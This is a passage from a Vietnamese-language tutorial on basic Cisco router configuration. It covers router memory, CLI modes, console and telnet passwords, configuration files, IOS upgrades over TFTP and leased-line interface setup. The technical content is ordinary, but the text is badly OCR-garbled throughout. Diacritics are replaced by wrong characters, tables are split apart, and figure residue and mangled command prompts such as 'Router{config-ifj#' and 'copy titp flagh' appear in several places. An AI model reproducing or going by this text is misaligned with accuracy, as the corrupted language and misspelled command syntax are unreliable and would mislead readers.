phap truyén nhan théng tin. Thich hgp vG6i cac hé thdng I6n, gébm nhiéu
router lién két véi nhau.
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2 Khai niém vé cau hinh Router.

Ca4u hinh router 1a sif dung cac phudng phap khac nhau dé dinh cau hinh cho router thuc
hién cac chuc nang cu thé: lién két leased line, lién két dial-up, firewall, Voice Over IP..
trong tling trudng hop cu thé.

Péi véi Cisco Router thudng c¢6 03 phuong phap dé dinh c&u hinh cho router:
e SldungCLI:

CLI la chii viét tdt cha Command Line Interface, 1a cach c&u hinh c¢o ban ap dung cho
hau hét cac thiét bi clia Cisco. Ngusi st dung cé thé dung cac dong Iénh nhap ti cac
Terminal (théng qua port Console hay qua cac phién Telnet) dé dinh c&u hinh cho
Router.

e S0 dung Chuang trinh ConfigMaker:

ConfigMaker la chuong trinh hé trg cdu hinh cho cac Router ti 36xx tré xudng cla Cisco.
Chuong trinh nay cung cap mat giao dién dd hoa va cac Wizard than thién, dugc trinh
bay dudi dang “Question — Answer”, gilip cho viéc cau hinh router trd nén rat don gian.
Ngudi st dung c6 thé khéng can nam viing céac cau Iénh cta Cisco ma chi can mét kién
thiic cd ban vé hé théng la c6 thé c&u hinh dudc router. Tuy nhién ngoai han ché vé sé
s&n pham router hé trg nhu & trén, chuong trinh nay ciing khdng cung cap day du tat ca
céac tinh nang clia router va khong c6 kha néng tuy bién theo cac yéu cau cu thé dac thu.
Hién nay version mdgi nhat cla ConfigMaker la ConfigMaker 2.4.

e S{ dung chuadng trinh FastStep:

Khac véi chuong trinh ConfigMaker, FastStep dugc cung cép dua trén tiing loai san
pham cu thé clia Cisco. Vi du nhu véi Cisco router 2509 thi c6 FastStep for Cisco Router
2509.. Chuong trinh nay cung cap céc budc dé cdu hinh céc tinh nang cd ban cho tiing
loai s&n pham. Céac budc cdu hinh ciing dudc trinh bay dudi dang giao dién db hoa,
“Question — Answer” nén rét dé st dung. Tuy vay cling nhu chudng trinh ConfigMaker,
FastStep chi mdi ho trg cho mot s6 san pham cép thdp cla Cisco va chi gilip cau hinh
cho mot sé chiic nang co ban cula router.

Tém lai, viéc st dung CLI dé cdu hinh Cisco Router tuy phc tap nhung van 1a céach c4u
hinh router thudng gap nhat. Hiéu biét viéc cau hinh bang CLI s& gitip ngudi st dung linh
hoat trong viéc cau hinh va dé& dang khéc phuc sy ¢6. Hién nay viéc st dung CLI cé thé
k&t hgp véi mot trong 02 cach cdu hinh con lai dé ddy nhanh t8c dod cau hinh router. Khi
dé, cac chuong trinh c&u hinh sé& sl dung dé tao céc file cdu hinh thd, phuong phap CLI
s& dugc s dung sau cung dé tuy bién hay thuc hién cac tdc vu ma chuong trinh khéng
thuc hién dugc.

Trong tai liéu nay céc huéng dan c4u hinh déu la phuong phap CLI — phuong phéap dung
dong Iénh.
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2.1 Cau tric router.

C4u trac router 1a mot trong cac van dé co ban can biét trude khi cdu hinh router. Cau
trdc cla router dugc trinh bay trong hinh 2.1.

Cac thanh phan chinh cla router bao gém:
¢ NVRAM:

NVRAM (Nonvolatile random-access memory) la loai RAM c6 thé luu lai thdng tin ngay
ca khi khéng con ngudn nudi. Trong Cisco Router NVRAM thudng c6 nhiém vu sau:

— Chua file c&u hinh startup cho hau hét cac loai router ngoai trii router c6 Flash
file system dang Class A. (7xxx)

— Cha Software configuration register, st dung dé xac dinh 10S image dung trong
qua trinh boot cla router.

e Flash memory:

Flash memory chiia Cisco I10S software image. D6i v6i mot s& loai, Flash memory c6 thé
chtia céc file cau hinh hay boot image..

Tuy theo loai ma Flash memory cé thé 1a EPROMS, single in-line memory (SIMM)
module hay Flash memory card:

— Internal Flash memory:
o Internal Flash memory thudng chiia system image.

o Mot sb loai router cé ti 2 Flash memory tré |én dudi dang single in-line
memory modules (SIMM). Néu nhu SIMM c6 2 bank thi dugc goi la dual-bank
Flash memory. Céac bank nay c6 thé dugc phan thanh nhiéu phan logic nho

— Bootflash
o Bootflash thudng chuia boot image.
o Bootflash déi khi chiia ROM Monitor.

— Flash memory PC card hay PCMCIA card.
Flash memory card ding dé gan vao Personal Computer Memory Card
International Association (PCMCIA) slot. Card nay dung dé chia system image,
boot image va file c4u hinh.

Cac loai router sau c6 PCMCIA slot:

o Cisco 1600 series router: 01 PCMCIA slot.

o Cisco 3600 series router: 02 PCMCIA slots.

o Cisco 7200 series Network Processing Engine (NPE): 02 PCMCIA slots

o Cisco 7000 RSP700 card va 7500 series Route Switch Processor (RSP)
card chtia 02 PCMCIA slots.

e DRAM:
Dynamic random-access memory (DRAM) bao gom 02 loai:

— Primary, main, hay processor memory, danh cho CPU dung dé thuc hién Cisco
IOS software va luu gili running configuration va cac bang routing table.

— Shared, packet, or I/O memory, which buffers data transmitted or received by the
router's network interfaces.
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Tuy vao I0S va phan cling ma c6 thé phai nang cap Flash RAM va DRAM.
e ROM
Read only memory (ROM) thudng dudc sl dung dé chiia cac thong tin sau:

—  ROM monitor, cung cép giao dién cho ngudi st dung khi router khéng tim thay
cac file image khdong phu hgp.

— Boot image, giup router boot khi khong tim thdy 10S image hgp 1& trén flash
memoty.

Router#show flash Router#show interface
Router#show version
~ \ Vd
INTERNETWORK OS
BACKUP
DYNAMIC CONFIGURATI 025'2’%\';:6 'L"/Igg
PROG- CONFIG- TABLE ONFILE
RAMS URATION AND
INFORM- | | BUFFER
ATION ~

Router#show processes CPU

Router#tshow mem Router#show startup config
Router#show protocols

Router#show ip route

Router#show running-config

Hinh 2.1
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2.2 Cac mode config

Cisco router cé nhiéu ché& do (mode) khi config, mdi ché& dd c6 dac diém riéng, cung cép
mot s cac tinh nang xac dinh dé cau hinh router. Cac mode clia Cisco router dugc trinh
bay trong hinh 2.2.

e User Mode hay User EXEC Mode:

Pay 1a mode dau tién khi ban bat dau mét phién lam viéc vdi router (qua Console hay
Telnet). 3 mode nay ban chi c6 thé thuc hién dugc mot s& Iénh théng thudng clia router.
Céc lénh nay chi c6 tac dung mot 1an nhu 18nh show hay 1énh clear mot s cac counter
cla router hay interface. Cac I&énh nay sé khong dugc ghi vao file ciu hinh cla router va
do do6 khdng gay anh hudng dén cac lan khdi dong sau cla router.

e Privileged EXEC Mode:

Pé vao Privileged EXEC Mode, tii User EXEC mode gd Iénh enable va password (néu
can). Privileged EXEC Mode cung c&p céc lénh quan trong dé theo ddi hoat dong clia
router, truy cap vao cac file cu hinh, 10S, dat cac password.. Privileged EXEC Mode la
chia khéa dé vao Configuration Mode, cho phép cdu hinh tat ca cac chiic nang hoat dong
cua router.

e Configuration Mode:

Nhu trén da noi, configuration mode cho phép c&u hinh tit ca cac chiic nang cua Cisco
router bao gom cac interface, cac routing protocol, cac line console, vty (telnet), tty
(async connection). Cac Iénh trong configuration mode sé& anh huéng truc ti€p dén cau
hinh hién hanh cla router chiia trong RAM (running-configuration). Néu c&u hinh nay
dugc ghi lai vao NVRAM, céc Iénh nay sé cé tac dung trong nhiing lan khéi dong sau
cua router.

Configurarion mode c6 nhiéu mode nho, ngoai cung la global configuration mode, sau do6
la céc interface configration mode, line configuration mode, routing configuration mode.

¢ ROM Mode

ROM mode dung cho céc tac vu chuyén biét, can thiép truc tiép vao phan ciing cla
router nhu Recovery password, maintenance. Thong thudng ngoai cac dong 1énh do
ngudi st dung bat budc router vao ROM mode, router sé& ty dong chuyén vao ROM mode
néu khéng tim thay file 10S hay file 10S bj hong trong qua trinh kha&i déng.
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+ User EXEC mode

+ Priviledged EXEC mode

+ Global configuration mode

+ Specific
Configuration
Modes
Configuration Mode Prompt
Interface Router{config-ifj#
Subinterface Router{config-subif #
Controller Router{config-controller)#
Map-list Router{config-map-list)#
Map-class Router{config-map-class)#
Line Router{config-line)#
Router Router{config-router)#
IPX-router Router{config-ipx-router)#
Route-map Router{config-route-map)g
User EXEC Commands - Router™=
ping
show (limited)
enahle
etc...
Privileged EXFC Commands - Router#
all User EXEC commands
debugz commands
reload
configure Global Configuration Commands - Rouwter{config
elc... hosimame
enahle secret
ip route
interface ethernet Interface Commands - Router{confiz-if)#
“f“l ip address
bri ipx address
elc... encapsulation
shutdown / no shuidown
eic...
router  rip Routing Engine Commands - Rowter{config-rowter)s
ospf network
igrp version
etc... auio-sunmary
eic...
line iy Line Commands - Router{config-line )
console password
eic... login
modem commands
eic...

Hinh 2.2: M6t s6 mode config cla Cisco Router.
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Bang 2.1 trinh bay cac mode co ban clia Cisco router va mot s6 dic diém cla ching:

Mode Cach thuc truy cap D&au nhac Cach thuc thoat
User EXEC Log in. Router> logout command.
Privileged Tu user EXEC mode, st | Router# Pé tr§ vé user EXEC mode,
EXEC dung Iénh enable. dung Iénh disable..
Pé vao global configuration
mode, dung Iénh configure
terminal.

Global Tu privileged EXEC Router(config)# | Dé ra privileged EXEC

configuration

mode, dung lénh
configure terminal

mode, dung Iénh exit hay
end hay go Ctrl-Z.

Pé vao interface
configuration mode, gd I1énh
interface.

Interface
configuration

Tu global configuration

mode, g0 |énh interface.

Router(config-
if)#

Pé ra global configuration
mode, dung Iénh exit

Pé ra privileged EXEC
mode, dung Iénh exit hay
g0 Citrl-Z.

Pé vao subinterface
configuration mode, xac
dinh subinterface bang lénh
interface

Subinterface

Tu interface

Router(config-

To exit to global

configuration configuration mode, xac subif)# configuration mode, use the
dinh subinterface bang exit command.
lénh interface. To enter privileged EXEC
mode, use the end
command or press Ctrl-Z.
ROM monitor | Tu privileged EXEC > Pé ra user EXEC mode, gb
mode, dung Iénh reload Iénh continue
nhan phim Break trong
60s khi router khéi dong
Dung Iénh boot system
rom.
Bang 2.1
DR
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3 Cau hinh cac tinh nang chung cua router.

3.1 Mot sd quy tic veé trinh bay cau Iénh.

Céc quy tic trinh bay tai bang sau dugc s dung trong tai liéu nay cling nhu trong tat ca

cac tai liéu khac cua Cisco

Cach trinh bay

A hay Ctrl

Screen Hiém thi céc thdng tin s& dugc trinh bay trén man hinh.

Boldface Hién thi cac thong tin (dong 1énh) ma ban phai nhap vao ti ban

< > Biéu hién céc ky tu khdéng hién thi trén man hinh, vi du nhu

! Bi€u hién cac cau chu thich.

( ) Bi€u hién ddu nhAc hién tai

[ ] Biéu hién cac tham sé tuy chon (khdng bét budc) cho cau lénh.

ltalics Biéu hién cac tham s& cla dong Iénh. Cac tham s& nay |a bat budc
phai cé va ban phai chon gia tri phi hgp cho tham s6 d6 dé dua
vao cau lénh.

{xlylz} Bi€u hién ban phai chon mot trong céc gia tri x, y, z trong cau I&énh.
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3.2 Cac phim tat can st dung khi cau hinh router

Cisco router dugc cdu hinh bang chudi cac lénh, dé thuan tién va nhanh chéng han trong

viéc nhap I&énh mét s8 cac phim tat thudng dudc s dung dudc trinh bay 6 bang 3.2:

Phim Céng dung
Delete Xoa ky tu bén phai con trd
Backspace Xoa ky tuy bén trai con trd

Left Arrow hay
Ctrl-B

Di chuyé&n con trd vé bén trai mot ky tu

Right Arrow hay
Ctrl-F

Di chuyén con trd vé bén phai mot ky tu

Esc-B Di chuyén con trd vé bén trai mot tu

Esc-F Di chuyén con trd vé bén phai mot tu

TAB Hién thi toan bd Iénh (chi cé tac dung khi phan da go cla Iénh
tuong ing du dé gilp Cisco 10S xac dinh 1énh dé 1a duy nhat)

Ctrl-A Di chuyén con trd 1&én dau hang Iénh.

Ctrl-E Di chuyén con trd vé cudi hang Iénh.

Ctrl-R Hién thi lai dong Iénh.

Ctrl-U Xéa dong Iénh.

Ctrl-W Xo6a mot tu

Ctrl-Z Két thuc Configuration Mode, tr§ vé EXEC mode.

Up Arrow hay
Ctrl-P

Hién thi dong Iénh truéc.

Down Arrow hay
Ctr-N

Hién thi dong I&nh tiép theo.

Béang 3.2

Ngoai ra khi c&u hinh router, dau ? thudng dudc st dung & tat ca cac mode dé liét ké
danh sach cac cau Iénh c6 thé su dung dugc tai mode dé.

Vi du:

Router> ?

Exec commands:

<1-99>
connect
disconnect
enable

exit

help

lat

lock

login
logout

Session number to resume

Open a terminal connection

Disconnect an existing telnet session
Turn on privileged commands

Exit from the EXEC

Description of the interactive help system
Open a lat connection

Lock the terminal

Log in as a particular user

Exit from the EXEC
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menuStart

a menu-based user interface

mbranchTrace multicast route for branch of tree
mrbranchTrace reverse multicast route to branch of tree

mtrace

Trace multicast route to group

name-connection Name an existing telnet connection

pad
ping
resume
show
systat
telnet
terminal
tn3270
trace
where
x3
xremote

Open a X.29 PAD connection

Send echo messages

Resume an active telnet connection
Show running system information
Display information about terminal lines
Open a telnet connection

Set terminal line parameters

Open a tn3270 connection

Trace route to destination

List active telnet connections

Set X.3 parameters on PAD

Enter XRemote mode
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3.3 Cac khai niém vé console, telnet. Cach xac dinh cac tén va password cho
router.

3.3.1 Console port

Console port c6 trén tat ca cac loai router dung dé cho cac terminal c6 thé truy cap vao

router dé dinh cau hinh cling nhu thuc hién cac thao tac khac trén router. Console port

thudng c6 dang 16 cdm cho RJ-45 connector. D& k&t ndi vao console port ta can cac thiét

bi sau:

e 01 terminal, c6 thé 1a terminal chuyén dung cGa UNIX hay may PC Windows chay
chuaong trinh HyperTerminal.

e 01 Roll-over cable: sgi cap nay di kém véi mdi router (hinh 3.1), 1a cap UTP c6 4 cap
day va dugc bam RJ-45 dao thi tu 2 dau.

ey, il 1 a1 ot e
| should be the |
| samecelor |

Hinh 3.1

e 01 dau DB-25 hay DB-9 diung dé két ndi vao Terminal. Cac dau néi nay c6 port ndi
RJ-45 & phia sau. Cac dau ndi nay thudng dugc goi la RJ-45 to DB-9 hay RJ-45 to
DB-25 adapter.

K&t néi vao console port dugc thuc hién nhu hinh 3.2

Khi két néi da dudc thuic hién, chay chuadng trinh (vi du nhu HyperTerminal) cla
Windows dé truy cap vao router. Mot s6 diém luu y khi s dung chuong trinh la:

e Chon ding COM port két ndi (direct to COM1 hay COM2).

e Cac théng sé cla console port la: 9600 baud, 8 data bits, no parity, 2 stop bits.
Console port khdng hd trg cho flow control va modem control.

Néu khdng dugc dat password cho console port, khi khi dong chuong trinh
HyperTerminal, xac lap dung céc thong s6 nhu trén va go vai lan Enter, ban sé vao
ngay user EXEC mode véi ddu nh&c “router>”. Password véi console port 1a khéng bat
budc, tuy nhién dé bao dam an toan cho hé théng, ta cé thé dung cac budc sau day dé
xac dinh password cho console port cla router.
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Hinh 3.2 Két néi console port vao terminal.

Cau lénh Dau nhac ban | Dau nhac sau | Giai thich

dau khi g6
enable Router> Router# Vao ché doé Privileged mode, gd

password néu can
config Router# Router#(config) | Vao global configuration mode
terminal
line con0 Router#(config) | Router#(config- | Vao line configuration mode.
line)

login Router#(config- | Router#(config- | Cho phép login vao router va hién thj

line) line) cau hoi password khi truy cap.
password Router#(config- | Router#(config- | Bat password cho console port.
password line) line)
nZ Router#(config- | Router# Tré vé Privileged mode.

line)

Bang 3.3

3.3.2 Telnet sesstion

Trong hé théng mang s dung TCP/IP, Telnet 1a mot dich vu rat hiiu ich gitp cho ngudi
su dung c6 thé truy cap va ciu hinh thiét bi ti b4t ci noi nao trong hé théng hay théng
qua céac dich vu remote access. DPé s dung dugc Telnet cho viéc truy cap va cdu hinh
cisco router can phai cé cac diéu kién sau:

e Hé théng mang sl dung giao thiic TCP/IP

e Gan dia chi IP cho it nhat 01 trong cac ethernet port cla router va két néi cdng dé
vao hé thdng mang.

e 01 PC két ndi vao mang thong qua TCP/IP.
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Sau khi thda man céc diéu kién trén, tai PC ta c6 thé gb lénh telnet ip address clia
ethernet port trén router dé c6 thé truy cap vao router.

Do muc do dé dang va thuan tién cla telnet trong viéc truy cap vao router, viéc dat
password cho telnet la rat can thiét va quan trong. Bang sau sé trinh bay céac buéc dé
xac lap password cho cac dudng telnet.

Cau lénh Dau nhic ban | Dau nhic sau | Giai thich

dau khi g6
enable Router> Router# Vao ché dd Privileged mode, gb

password néu can
config Router# Router#(config) | Vao global configuration mode
terminal
line vty 0 4 Router#(config) | Router#(config- | Vao line configuration mode.
line)

login Router#(config- | Router#(config- | Cho phép login vao router va hién thi

line) line) cau hoi password khi truy cép.
password Router#(config- | Router#(config- | Bat password cho console port.
password line) line)
nNZ Router#(config- | Router# TrG vé Privileged mode.

line)

Bang 3.4

Pudng telnet trong Cicso router dugc ky hiéu la vty. Cisco router hd trg 05 phién telnet
dodng thai (ky hiéu tii 0 dén 4). Ta c6 thé xac dinh password cho tiing dudng telnet. Tuy
nhién ca 05 dudng thudng dudc ciu hinh chung 01 password duy nhat dé tang kha nang
b&o mat va dé quan ly.

3.3.3 Xac dinh tén cho router va enable password.

Khi chua xac dinh tén cho router, ddu nhac mac dinh cla router sé la “router>”. Viéc xac
dinh tén cho router nhdm muc dich quan ly va lam thay déi ddu nhac nay. Ngoai ra viéc
xac dinh enable password cho phép ngan chan thém mot Ian niia (ngoai password vao
console hay telnet) viéc truy cap va thay déi cau hinh router. Bang sau trinh bay cac
budc dé dit (hay thay ddi) tén va enable password cho router.

Cau lénh Dau nhac ban | Dau nhic sau Giai thich
dau khi g6 1énh
enable Router> Router# Vao ché dé Privileged mode,

gd password néu can

config terminal Router# Router#(config) | Vao global configuration mode
hostname name Router#(config) | (name)#(config- | Xac dinh tén cho router, dau
line) nhéc sé thay déi dung theo tén
da nhép.

enable assword (name)#(config | (name)#(config- | X&ac dinh enable password
password -line) line)
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enable secret

(name)#(config

(name)#(config-

Xac dinh enable password

password -line) line) dong thdi ma hoa password
trong file c4u hinh. Phai di
chung vdi Iénh service
password-encryption.
4 (name)#(config | (name)# Tré vé Privileged mode.
-line)
Béang 3.5

Trang 25/94




Hudng dan c4u hinh cac chuc ndng co ban cda Cisco router

3.4 Lam viéc vdi file cdu hinh va 10S image.

3.4.1 M@t s6 khai niém cgd ban.

e File cdu hinh (configuration file):

La mét file dang text co6 c4u truc, trong do6 chuia tat ca cac 1énh quan trong cla router,
quyét dinh hoat déng cla router. Sau khi cdu hinh ban dau, file cdu hinh nay dugc ghi
vao NVRAM cla router va sé dugc st dung trong sudt thdi gian hoat dong cla router.
(trong mét s6 loai router, file nay cé thé chia & bootflash RAM, slot 0 hay slot 1cla
PCMCIA card). Khi router khgi dong file cau hinh nay dugc nap tit NVRAM vao RAM va
thi hanh mét cach tu dong. Viéc mat hay hu hong file cdu hinh nay sé khién router roi
vao ROM mode hay setup mode. File cdu hinh nam trong NVRAM dudc goi la startup-
config con nam trong RAM dugc goi la running-config. Ngoai tri trong qua trinh cdu hinh
router, hai file nay thuéng giéng nhau.

Vi du vé mét file cdu hinh cla router:

Current configuration:

!

version 11.2

I Version of IOS on router, automatic command
!

no service udp-small-servers

no service tcp-small-servers

!

hostname Critter

prompt Emma

I Prompt overrides the use of the hosthame as the prompt
!

enable password lu

! This sets the priviledge exec mode password
!

no ip domain-lookup

! Ignores all names resolutions unless locally defined on the router.
!

ipx routing 0000.3089.b170

! Enables IPX rip routing

!

interface Serial0

ip address 137.11.12.2 255.255.255.0

ipx network 12

!

interface Seriall

description this is the link to Albuquerque

ip address 137.11.23.2 255.255.255.0

ipx network 23

|

interface TokenRing0

ip address 137.11.2.2 255.255.255.0

ipx network CAFE

ring-speed 16

|

router rip

network 137.11.0.0

|

no ip classless
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!
banner motd ~AC This Here’s the Rootin-est Tootin-est Router in these here Parts! AC
I Any text between the Ctl-C keystroke is considered part of the banner, including
Ithe return key.!

line con 0

password cisco

login

! login tells the router to supply a prompt; password defines what the user must type!
!

line aux 0

line vty 0 4

password cisco

login

!

end

e [0S image:

|OS la chi viét tat cla Internetworking Operating System. I0S thuc su 1a trai tim cla
Cisco router. N6 quyét dinh tat ca cac chuc nang cua thiét bi va bao gom tat ca cac dong
lénh dung dé cau hinh thiét bi d6. I0S image la thuat ngii dung dé chi file chiia 10S, nhd
d6 ma ta cé thé backup hay upgrade 10S mét cach dé dang va thuan tién. Trong Cisco
router IOS thudng dugc chiia trong Flash RAM.

e TFTP server.

TFTP la chii viét tat cla Trial File Transfer Protocol, mét protocol chuén cla giao thiic
TCP/IP. TFTP la mét connectionless, reliable protocol. TFTP Server cé thé 1a mot
workstation UNIX hay mot PC thudng chay chuong trinh gia l1ap TFTP server trén mot hé
thong mang TCP/IP. TFTP Server thudng dugc dung lam noi backup céc file ciu hinh,
IOS image hay ngudc lai la nci chia cac file cdu hinh méi, cac 10S image mdi dé update
cho router.

3.4.2 Lam viéc vdi file cdu hinh va 10S.

e Vi file cau hinh:

Cac qua trinh 1am viéc véi file cdu hinh dugc md ta trong hinh 3.3

replau::& NVRAM

replace
replace replace

TFT

Hinh 3.3

Nhu hinh 3.3 cho thay, ta cé thé chuyén déi qua lai file cdu hinh tif RAM, NVRAM va
TFTP Server. Cac chuyén déi dén NVRAM va TFTP thudng c6 nghia la thay thé
(replace) trong khi cac chuyén déi t6i RAM c6 nghia la bé sung (add).

—  Dé chuyén déi file cau hinh trong Cisco router dung lénh sau & privileged mode:

copy {tftp | running-config | startup-config} {tftp | running-config | startup-config}
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Vi du:
—  Dé copy file c4u hinh ttr RAM vao NVRAM ta dung Iénh sau:

copy running-config startup-config

— D& xem mét file cau hinh ta dung lénh sau:
show {running-config | startup-config}

—  Dé x6a mobt file cau hinh ta dung lénh sau:
erase nvram

Ngoai ra ta con c6 thé sl dung céc cau lénh khéc c6 tac dung tuong tu. Cac Iénh nay la
céc lénh cii thudng dudc s dung trong céc 10S version 11.0 trd vé trudce.

Cau lénh Cau Iénh tuong ducong (Iénh cii)

show running-config write terminal

show startup-config show config

copy running-config startup config write mem

copy running-config tftp write network

erase nvram write erase hay erase startup-config.
Bang 3.6

e Lam viéc vGi IOS image.

Nhu trén da noi I0S image dong vai trd rat quan trong déi vai router. Lam viéc véi I0S
image nghia la thyc hién viéc Iuu gili cac 10S image, cap nhat cac 10S image tu Cisco,
quan ly cac I0S image trong router va cé kha ning xac dinh cac 10S image dung dé khai
déng router.

— Luu gili 10S image.
IOS image thudng dugc luu giti 8 TFTP server bang cau Iénh sau:
copy flash tftp
— Céap nhat 10S image tu Cisco.

Thiét k& dung 10S image cla Cisco giup cho thiét bi c6 kha nang nang cap nhanh chéng
va linh hoat. Cac 10S image cuia Cisco thudng xuyén dugc cap nhat dé khac phuc céac 16i
cla version trudc va bd sung céc tinh nang mdi cho router. Viéc cap nhat nay cé thé
dugc md ta bang hinh 3.4.

Lénh dé cap nhat 10S image la:
copy tftp flash

Sau khi go Iénh nay router sé hién ra tén céc IOS image hién c6 trong flash RAM, hoi
ban dia chi IP clia TFTP va chd ban xac nhan trudc khi copy. Vi du sau sé trinh bay chi
tiét vé diéu nay.
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Vi du:

Cisco Systems cro

Internet

(Any convenient method) N

Hinh 3.4: Quy trinh cap nhat I0S image.

R1#copy tftp flash

System flash directory:

File Length Name/status

1 7530760 c2500-ainr-I_112-31.bin

[7530824 bytes used, 857784 available, 8388608 total]
Address or name of remote host [255.255.255.255]? 134.141.3.33

Source file name? c2500-ainr-I_112-11.bin
Destination file name [c2500-ainr-1_112-11.bin]?

Accessing file ’c2500-ainr-I_112-11.bin’ on 134.141.3.33...

-

TFTP
SEenver

Jﬂnpy titp flagh

4-1...:"

vl

Loading c2500-ainr-I_112-11.bin from 134.141.3.33 (via TokenRing0): ! [OK]

Erase flash device before writing? [confirm]

Flash contains files. Are you sure you want to erase? [confirm]

Copy 'c2500-ainr-I_112-11.bin’ from server

as 'c2500-ainr-1_112-11.bin’ into Flash WITH erase? [yes/noly
Erasing device... eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee ...erased

Loading c2500-ainr-I_112-11.bin from 134.141.3.33 (via TokenRing0):

[OK - 7530760/8388608 bytes]
Verifying checksum... OK (0xA93E)
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Flash copy took 0:04:26 [hh:mm:ss]

R1#

— Xem noi dung cula flash RAM

Dung Iénh show flash dé xem théng tin vé 10S image chia trong flash RAM

Vi du:

fred#show flash

System flash directory:

File Length Name/status
14181132 c2500-i-1.112-7a
[4181196 bytes used, 4207412 available, 8388608 total]
8192K bytes of processor board System flash (Read ONLY)

— Chon 10S image dé khdi dong router.

Trong mdi router c6 01 thanh ghi goi la configuration register. Day la mét thanh ghi 16-bit
(Hinh 3.5) trong d6 4 bit cudi cing dugc goi la boot field quyét dinh qua trinh khai dong
cla router. Gia tri clia boot field cho biét router s& kh&i dong tir ROM hay ti RAM. Can
thiép vao qua trinh khdi dong clia router thong qua configuration register thudng ding
trong qua trinh password recovery.

15 14 13 12|11 10
0 0 1 0|0 0

8 8
0 1

o =)
o m
=N

o &

R PR

= LN ]
oo

Hinh 3.5: configuration register.

Mot cach khac don gian va thudng dudc s dung la dung Iénh boot system cla 10S.
Lénh nay thudng dugc dat va trong startup-config cla router.

Bang sau sé téng két lai ca hai phuong phap trén

Gia tri cua boot field

Cau Iénh boot system

Két qua

0x0 Khong anh hudng ROM monitor mode.

0x1 Khong anh hudng ROM mode.

0x2 dén OxF Boot system rom ROM mode

0x2 dén OxF Boot system flash IOS dau tién trong flash sé
dugc dung dé khai dong.

0x2 dén OxF Boot system flash filename IOS image trong flash dugc
chi dinh sé& dugc dung dé
khéi déng.

0x2 dén OxF Boot system tftp ip address |OS image c6 tén la

filename filename trong TFTP server

c6 dia chi jp address sé
dugc dung dé khai dong.

0x2 dén OxF Nhiéu lénh boot system Router sé sif dung céc lénh

tr trén xuéng duédi cho dén
khi c6 mét Iénh dugc thuc
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hién hoan tat. Néu tat ca
cac lénh déu khong thi
hanh dudc, router sé khai
doéng vé ROM mode.

Bang 3.7

SR
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4 Cau hinh router cho dudng leased line.

4.1 Khai niém vé lién két leased line.

Dudng lién két leased line 1a dudng lién két k§ thuat sé do Buu dién cung cép, , thudng
la mot dudng cap dong 1 pair, két ndi diém-diém véi hai dau can két néi. Mé hinh co
ban cla mot két ndi leased line nhu hinh 4.1:

Router V.35 R8232NTU 32Kbps - 2.048Mbps NTU Router

Hinh 4.1

Lién két trén dudng leased line 1a lién két tin hiéu sd, c6 téc do 1én t6i 2.048Mbps (v4i
cap dong). Thiét bi dau cudi la NTU (Network Terminal Unit) con goi la DSU/CSU
(Channel Service Unit/ Data Service Unit) tdc dung nhu mét DCE (Data Circuit
Equipment). Cac NTU cé thé c6 nhiéu loai v6i nhiéu t8c dd khac nhau. Router trong
trudng hgp nay dong vai tro nhu moét DTE (Data Terminal Equipment). Cac NTU thudng
cung cap giao tiép V.35 hay RS232 dé két néi véi Router. Tuy theo NTU ma phai chon
loai cap két ndi cho cong Serial clia router cho thich hgp (xem hinh 4.2)

End User Router Connections
Device
- Tl =

——

Ih"“} ‘ DTE

csu/
DSU DCE

Service i
Provider EIATIA-232 EIATIA-448 V.35 X.21  EIA-530

Metwork Connections at the CSU/DSU
Hinh 4.2: Céc loai cdp két néi gida router va NTU (CSU/DSU)

Tuy theo nhu cau s dung ma khach hang c6 thé chon téc do cho dudng leased line,
thudng la ti 64Kbps trg Ién, ti dé chon NTU va router thich hgp.

Vi du cho thiét bi NTU thudng dung hién nay la: ACD-3 cuia hang Timeplex, ASM-31,
ASM-40 clia RAD.
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Hau hét cac loai Cisco Router déu cé thé hd trg cho lién két leased line thdng qua céac
serial port cha minh. Ngoai trtf Cisco router 7xx chi hd trg cho ISDN. Tat ca céc loai
router tU series 8xx trd 1&n déu c6 thé hd trg ti 01 d&n hang chuc céng serial.

Cac cap serial cla router dung cho cac két ndi leased line thudng la V.35 DTE va RS232
DTE déi vGi cac serial port 60 chan va V35 SS DTE, RS232 SS DTE ddi vdi céng Smart
Serial (WIC-2T, WIC-2A/S..)..

SR
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4.2

Cac budc cau hinh mét router cho lién két leased line.

Pé cdu hinh moét router phuc vu cho lién két leased line can thuc hién theo cac buéc sau:

e Ca&u hinh céac ethernet port va serial.

e Ca&u hinh WAN protocol cho lién két leased line.

e C4u hinh static routing hay hay dynamic routing.

e C&u hinh mét s& théng sé can thiét khac.

Sau day chung ta sé trinh bay chi tiét tiing van dé cu thé:

4.21

CA4u hinh céc ethernet port va serial.

Trudc tién ta can phai dinh dia chi va xac 1ap mét sé thong sé cho cac ethernet port va

serial.

e Ethernet port

Bang sau trinh bay mot sé Iénh can thiét dé cau hinh ethernet port cla router. Gia sii tén

router la R1

Cau lénh

Giai thich

Vidu

R1#(config)interface eslot/port

Vao interface
mode cla ethernet
port

R1#(config)interface e0/0
R1#(config-if)

R1#(config-if)ip address ip-
address subnet mask

Gan ip address va
subnet mask cho
ethernet port tuong
tng

R1#(config-if)ip address
192.1.1.1 255.255.255.0

R1#(config-if)

R1#(config-if)duplex {full | half}

Gan ché dod half
hay full duplex cho
ethernet port

R1#(config-if)duplex full
R1#(config-if)

R1#(config-if)speed {10 1100 |
auto}

Gan toc dd cho
ethernet port la
10Mbps, 100Mbps
hay auto.

R1#(config-if)speed 100
R1#(config-if)

R1#(config-if)description string

Pat mo ta cho
ethernet port

R1#(config-if)description
Connected to LAN

R1#(config-if)

R1#(config-ifijno shutdown

Bat ethernet port
(néu can).

R1#(config-ifijno shutdown.

Ethernet 0/0 is up, line protocol
is up.

R1#(config-if)

R1#show interface e slot/port

Xem trang thai
ethernet port.

e Serial port

Bang 4.1
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Khéac vai ethernet port, serial port c6 nhiéu thédng s can cdu hinh hon nhu trong bang

sau:

Cau lénh

Giai thich

Vi du

R1#(config)interface serial
slot/port

Vao interface mode
cula serial port

R1#(config)interface serial1/0

R1#(config-if)

R1#(config-if)ip address ip-
address subnet mask

Gan ip address va
subnet mask cho
serial port tuong Ung

R1#(config-if)ip address
192.1.2.1 255.255.255.0

R1#(config-if)

R1#(config-if)ip
unnumbered ethernet
slot/port

Khdng gan ip truc ti€p
cho serial port ma
“mugn” tam ip cla
ethernet port.

R1#(config-if)ip unnumbered
ethernet0/0

R1#(config-if)

R1#(config-ifjbandwidth
bandwidth

Gan bandwidth (t6c
dé) cho serial port.
Bandwidth & day dugc
tinh béng kbps.

R1#(config-ifibandwidth 64
R1#(config-if)

R1#(config-if)clock rate
clock-rate

Gan téc dd xung clock
cho serial port. Lénh
nay chi thich hgp cho
